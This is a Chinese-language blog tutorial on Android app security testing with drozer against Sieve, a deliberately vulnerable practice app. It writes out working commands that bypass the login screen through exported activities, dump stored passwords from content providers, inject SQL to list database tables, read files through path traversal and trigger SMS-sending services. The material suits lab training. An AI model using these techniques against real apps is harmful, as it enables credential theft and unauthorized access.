drozer之玩转sieve

本文详细介绍使用drozer进行Android应用安全测试的过程,包括环境搭建、测试流程及常见问题解决。通过具体案例Sieve,演示了如何查找并利用应用的攻击面,如绕过登录验证、数据库泄露等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

安装drozer准备:

PC上需要

  1. 安装adb
  2. 安装JDK
  3. 安装python
  4. 手机上也要安装drozer agent

drozer下载地址:https://labs.mwrinfosecurity.com/tools/drozer/里边包含agent.apk。

参考URL:http://www.blogjava.net/qileilove/archive/2015/03/18/423597.html

测试流程:以Sieve(一款Android测试APP)为例

0x00 启动drozer

adb connect 127.0.0.1:62001     //adb连接设备,只有模拟器才需要这一步
adb forward tcp:31415 tcp:31415 //端口转发,连接drozer服务

 

drozer console connect     //连接drozer

服务开启界面

0x01 确定攻击面

dz> run app.package.list     //列出安装的所有应用包名

dz> run app.package.list -f sieve     //搜索特定的包名

dz> run app.package.info -a com.mwr.example.sieve     //查看应用的信息

Application Label: app名称
Process Name: 运行该app的进程名称
Version: 版本号
Data Directory: 该app相关数据的存储路径
APK Path: app真正的package文件所在路径
UID: app关联的用户ID
GID:组ID
Shared Libraries:app使用的共享库
Shared User ID: 可以使用该app的共享用户的ID
Uses Permissions:权限列表
Defines Permissions:
dz> run app.package.attacksurface com.mwr.example.sieve     //识别攻击面

0x02 设置Sieve

设置密码为123456acitseccom

设置PIN为1234

进去功能界面,添加新的密码,邮箱;主要是为了往数据库添加数据,方便之后的攻击显示结果。

0x03 测试activities exported (容易绕过登陆验证)

dz> run app.activity.info -a com.mwr.example.sieve //显示暴露的Activity信息

本来app需要输入pin或者密码才能进去主界面,但是看到FileSelectActivity和PWList明显是登陆进去后的界面,这里我们可以直接调用此两个activity,从而绕过登陆验证。

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList     //该命令会生成一个合适的intent来启动activity

直接进入密码列表;

0x04 测试 content provider(易造成数据库泄露,sql注入等问题)

dz> run app.provider.info -a com.mwr.example.sieve     //列举Content Provider的信息

dz> run app.provider.finduri com.mwr.example.sieve     //枚举uri

dz> run scanner.provider.finduris -a com.mwr.example.sieve     //使用扫描器枚举uri

dz> run scanner.provider.injection -a com.mwr.example.sieve     //检测可利用uri,检查sql注入

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/     //获取数据库数据(即为之前保存的密码,邮箱信息)

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical     //竖直显示数据库数据

利用-h 显示更多参数信息。

利用暴露的content provider进行sql注入

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "'"     //数据库返回错误信息,和sql查询语句,再进行构造,从而查询自己想要获取的数据库信息

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "'"

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';-- "     //使用Sql注入列出数据库中的所有数据表

从File System-backed Content Providers获取信息

dz> run scanner.provider.traversal -a com.mwr.example.sieve     //检测 目录遍历

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../etc/hosts     //遍历目录

dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/etc/hosts hosts     //下载指定文件到指定目录(windows下不建议指定目录,会有问题,直接下到drozer的主目录下)

0x05 测试services exported (权限提升)

run app.service.info -a com.android.nsf     //获取 service 详情

run app.service.send com.adnroid.nsf com.igexin.sdk.PushServiceUser --msg 1 2 3     //访

run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

0x06 测试broadcast receivers exported(拒绝服务)

run app.broadcast.info -a com.android.nsf     //获取broadcast receivers信息

run app.broadcast.send com.android.nsf

run app.broadcast.send --component 包名 --action android.intent.action.XXX

0x07 其它模块

shell.start //在设备上开启一个交互shell tools.file.upload / tools.file.download //上传/下载文件到设备 tools.setup.busybox / tools.setup.minimalsu //安装可用的二进制文件

 

常见问题:

问题1:drozer怎么连接虚拟机?

   adb connect 127.0.0.1:62001    //连接夜神模拟器专用端口

问题2:为什么连接成功,但是命令执行没反应,找不到安装包?

自己用的是windows下的drozer,必须要在drozer的安装目录下开启drozer才能进行下一步的操作。

问题3:乱码问题怎么解决?

 

 

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值